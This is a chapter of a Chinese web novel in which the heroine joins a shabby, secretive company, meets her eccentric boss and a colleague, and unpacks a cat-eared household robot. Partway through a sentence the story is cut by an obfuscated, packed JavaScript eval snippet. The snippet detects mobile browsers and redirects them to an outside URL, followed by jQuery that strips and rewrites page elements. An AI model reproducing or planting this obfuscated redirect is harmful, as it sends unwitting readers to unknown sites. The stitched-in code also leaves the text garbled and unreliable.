简虞下了地铁,根据导航七拐八拐找到了一条巷子。
这巷子两侧堆放着杂物,尽头有一扇锈迹斑斑的铁门,位置十分隐秘。
这感觉好像个黑网吧...
如果不是门口挂着名为“雏鸟”的门牌,简虞一定以为自己找错了地方,很不正规的样子。
而且说实话,雏鸟这个名字听起来也很微妙…
简虞站在门口摸着下巴犹豫,这看着是这么的不靠谱,进去的确需要些勇气。
“借过。”
她还在犹豫的时候身后突然伸出来一只手。
那人皮肤白皙,手指细长骨节分明。一只好手明晃晃地出现在她眼前,按响了门边的门铃。
简虞后退半步看清楚了他的打扮。
比她高个半头,身高185左右,黑色口罩覆盖下半张脸,金丝眼镜覆盖上半张脸,头戴黑色针织帽,微长的卷发从帽子边缘翘出来,耳朵上还带着一对有线耳机…
辛苦了耳朵,跟着这么个潮男。
简虞在心中朝他双耳致敬,了不起的耳朵。
潮男没看她,一直盯着大门。简虞把路让开,自己站在另一侧,这才注意到与自己的轻装上阵不同,这人身上背了个巨大的行李。
比人还高一点的长条黑色包裹。
这形状看起来像古琴。
嗯?带古琴来“黑网吧”是不是有点诡异?
难道是六指琴魔!?!
不对不对,太原始了。
不会是棺材吧!这个好像靠谱许多哦。
也不是,作为棺材太薄了点,这人得多扁啊。
有可能是干尸,这长度,嗯,巨人干尸!
在潮男不知道的角落里,简虞默默把脑洞开了个遍,而面前的门也开了。
一个拥有巨大黑眼圈头发凌乱,身着居家服的短发女性出现在他们面前。
看清人脸的一瞬间系统界面出现在她的旁边。
[苏目,雏鸟拥有者]
[在你未来的领导要好好表现哦(^o^)]
一点有效信息都不给到底在卖什么萌!!!
“你们来得真早哈…”苏目声音有些嘶哑,听起来是刚醒。
“按约定,九点到的。”潮男在门口回应道。
“…”门里的人显然还没完全清醒,一脸呆滞:“约了吗?”
随后她摇了摇头:“不重要,先进来吧。”
真不靠谱啊,简虞在心里默默吐槽。
室内倒是十分整洁,整洁得有些过分,桌子上干干净净连个玻璃杯都没有。
简虞站在门口,用手在背后扒着大门不让门关上。
这场景有点诡异,她得准备随时跑路。
苏目看到了简虞的动作:“别担心,就算你防备着,我在这里想坑你们也很容易,所以先安心进来吧。”
简虞想了想也是,光她进来的那条半闭塞小巷都不知道藏没藏陷阱。
算了,来都来了。
同时她注意到这人不是短发,是一半长一半短的水母头。
这一个两个的真时髦啊,简虞低头看着自己长发的发梢不自觉地想。
“先自我介绍一下,我叫苏目,雏鸟商贸有限公司的老板。”
她不知道从哪儿摸出来罐冰啤酒,自顾自地喝了起来。
太好了,是带酒上班的企业文化,我们没救啦。
潮男把东西放下落了座:“早上就开始喝酒?是队里传统吗?”
苏目一口酒差点没咽下去:“哪家公司有这传统,我自己的小爱好~”
她随手又翻出两罐想递给两人:“你们要不要?”
潮男摆摆手:“谢了,我没有早上喝酒的习惯。”
简虞倒是接了过来,随手又揣进口袋。
这样自己身上就有两罐饮料了,至少渴不死。
苏目看向潮男:“你就是姜见山?”
“是我。”姜见山回应道。
“你很有名,我还以为你不会选择这里,挺让人意外的。”苏目嘴上说着意外,语调却平平。
姜见山没有搭这话,自顾自地清理他包裹上的浮尘。
“你是...”苏目看向简虞。
“啊,我叫简虞。”突然对上视线让她有点紧张,自己这情况少说少错。
“想起来了。”苏目放下啤酒罐,给她指了指楼上:“你真是我见过行李最多的员工,都是什么宝贝啊包装的这么好。”
简虞不知道,简虞不敢说话。
大概率是原主留下来的“遗产”,说遗产好吗?但好像也只能这样形容。
看她的样子苏目也没打算刨根问底。
“灵宝!家里来人了!快起床!”
苏目朝着楼上喊,只听到过了一会儿楼上传出一阵怨气十足的男声。
“老苏,我两个小时前才做完实验,再让我睡一会儿…”
苏目耸了耸肩,对面前的两位解释道:“现在整个雏鸟就我们两个,楼上那小子叫石步灵,平时喜欢熬夜做实验,晚饭的时候你们应该就能见到了。”
说完她的酒也喝完了,递给了两人一人一把钥匙:“房间都在二楼,各自去找吧。不行了我也很困,先去休息了,你们自便。”
苏目把手里的空易拉罐扔到桌子下面的纸箱里。
她正准备上楼被简虞拦了下来:“那个,我们是做什么工作的?”
苏目看着她歪了歪头,显然在消化她的问题。
坏了,简虞心道糟糕,是不是暴露了自己没记忆的事?
“嗯...我们是社区的走狗,没有什么特别固定的工作。”苏目看起来没有疑心,反而是解释了起来:“moba游戏玩过吗,打野,我们算打野。”
然后又补充了一句:“反正脏活累活全都干,不用担心危险,我们赚的钱还是很可观的。”
苏目眼神迷离,眼看着就要睡着了,简虞不再追问,目送她上了楼。
走狗、打野,这都是什么游走在灰色地带的词汇。
而且手里的铜钥匙让简虞有点割裂:“好传统的款式。”她还以为这个世界至少会是密码锁之类的。
“想换锁可以,自费哦~”苏目从二楼探出个脑袋对简虞说。
一想到自己账户里挂零的余额,简虞释怀了,嗯,不挑了,钥匙也挺好的。
二楼比从外部看起来还要大,长长的走廊两侧共有六个房间,每个房间面积都不小。
走廊尽头还有楼梯通向三楼,整个房子不知道具体有多大。
对着钥匙上的号码简虞找到了自己的房间,一起上来的姜见山刚好住在她对面。
右手边是苏目的房间,最接近出口。
她的门上挂着一个牌子写着:队长有起床气,勿扰。
苏目房间对面住着石步灵,门口也有个牌子,写着:这位才是起床气重度患者,危险。
先不管什么起不起床气,这俩人的关系肯定很好。
她最担心工作环境压抑了,至少目前来看,不靠谱的工作环境肯定压抑不了一点。
“咔哒。”
钥匙伸进钥匙孔,轻轻一转便开了锁。
简虞深吸一口气给自己壮胆,但开了门还是吓了一跳。
一个个封好的纸箱几乎摆放到了屋顶,整个房间,除了一条通往床的小路上没有箱子,其他地方都码得整整齐齐。
“苍...天啊...”
虽然有点心理准备但显然没准备充分,简虞闪身进了房间关上门自己慢慢平复心情。
先不说这里面都是什么东西,光是这个数量怎么整理可是个巨大的问题。
还好,每个箱子上似乎都标注了号码,给她指引开箱顺序。
如果不是坑的话。
1号箱单独放置在床边,一副快来开我的样子。
那就拆!
简虞拿出钥匙划开了1号箱子的胶条,里面放着一部手机,和一个几乎和箱子一样大的金属方块。
用人脸轻松解锁了手机,电量满格。屏幕第一页只有一个叫家居喵app,图标是一只可爱的猫猫头剪影,很明显是让简虞选择它。
那就选!
点下app的瞬间,箱子里的金
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378637|200157||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
属方块亮了,萌萌的机械音从里面传出来。
“公民简虞您好,家居型机器人将按照预设程序进行搬家整理,请公民在5分钟内离开房间,整个工作时长预计两小时,接下来开始5分钟倒计时。”
?
简虞反应金属方块的话的时候,它已经“长出”了头和四肢,俨然一个机器人的摸样,头上带着机械猫耳,随着倒计时一摆一摆的,不知道是不是设计者的恶趣味。
真可爱啊,简虞很喜欢可爱的小东西。但它嘴里不断进行的倒计时也令人莫名紧张。
趁着还有时间,简虞果断听话地抓着自己的手机离开房间。
“谢谢猫,祝猫好运。”她在门口朝着里面的家居喵鞠了一躬,随后关门转身下楼。
简虞去一楼的洗手间清洗了一下碰过纸箱的双手,距离她来到这个世界不到24个小时,她第一次看清楚了自己的长相。
与记忆中的她长着一样的脸,头发比记忆中的长,几乎要齐腰,有着自然的卷曲度。瞳色很浅,站在光下看到了浅褐色的眼瞳。
她的左眼角有一颗不是很明显的泪痣。
记得谁跟简虞说过,这种痣不吉利。
谁说的来着?
我怎么不记得了?
我之前的眼瞳有这么浅吗?
镜中的这个人看起来很熟悉,简虞却对此感到陌生。
我...真的是我吗?
想到这里简虞突然感到一阵头痛,她扶着洗手池的台面支撑着身体,另一手下意识按压自己的太阳穴。
脑子里像是有针扎一样的刺痛感,让简虞不自觉地加重按太阳穴的手劲,外表的皮肉疼痛逐渐强过了脑内的疼痛。
她像是要以此对冲,让脑子里的痛感败下阵来。
缓了一会儿她感觉好受多了,脑子里奇怪的想法也不复存在。
重新洗了手,她来到客厅顺势坐到刚刚苏目坐的位置。她这才看见,原来她进门时有视觉误差,桌子下面有一块板会挡住里侧的东西。
在这个位置下面有一个小型冰箱,里面放着各式各样的啤酒饮料,还有个纸箱放空瓶。
确定了,苏目的确是个酒鬼。
简虞将自己身上的两罐东西放进了那个小冰箱,她也喜欢喝凉爽的饮料。冰箱不知道用的什么技术,制冷非常快,也就放进去十分钟,两个易拉罐都冰冰凉凉的。
她先开了那罐啤酒,很清爽的啤酒花味道,白天喝也不会觉得有负担,难怪苏目喜欢。
她一边喝一边看手机。
不出意料,照片为零,社交为零,没有丝毫原主留下来的信息。
只有一点意外,就是这个手机里的账户里居然有两百多块钱。
天降横财啊!
不对。
简虞看清楚了这笔钱的往来记录。
打款来自:苏目,打款时给她附上了一句备注:入职定金。
......
什么玩意,定金,就两百四十五。
真不是人啊。
要不是她坐地铁花了五块钱她还真以为这是一笔巨款了,按地铁票价,这里应该跟她印象中的物价差不多,但作为定金只有两百是不是有点侮辱人了。
简虞想生气,但她生不出来。
毕竟自己来得突然,按这个世界的科技水平和奇怪设定,自己的本事说不定还不值两百。
她恨啊,也只能苦水自饮。
“可恶。”
手里的啤酒喝完了,学着苏目把空罐子丢进纸箱,她又随手打开了那罐蠹虫果汁。
她没多想,直接把易拉罐放在嘴边,抬手。
有点刺鼻的味道冲入她的鼻腔。
不好,这玩意好像不能喝!
但为时已晚,荧光绿色的液体已经顺着嘴唇流入了她的口腔,习惯性的吞咽让她结结实实喝下了这一口。
……
她拿起罐子看着罐体。
“还行啊…”
入口的味道似乎没有那么难以忍受…
…吗?
……
“yue——”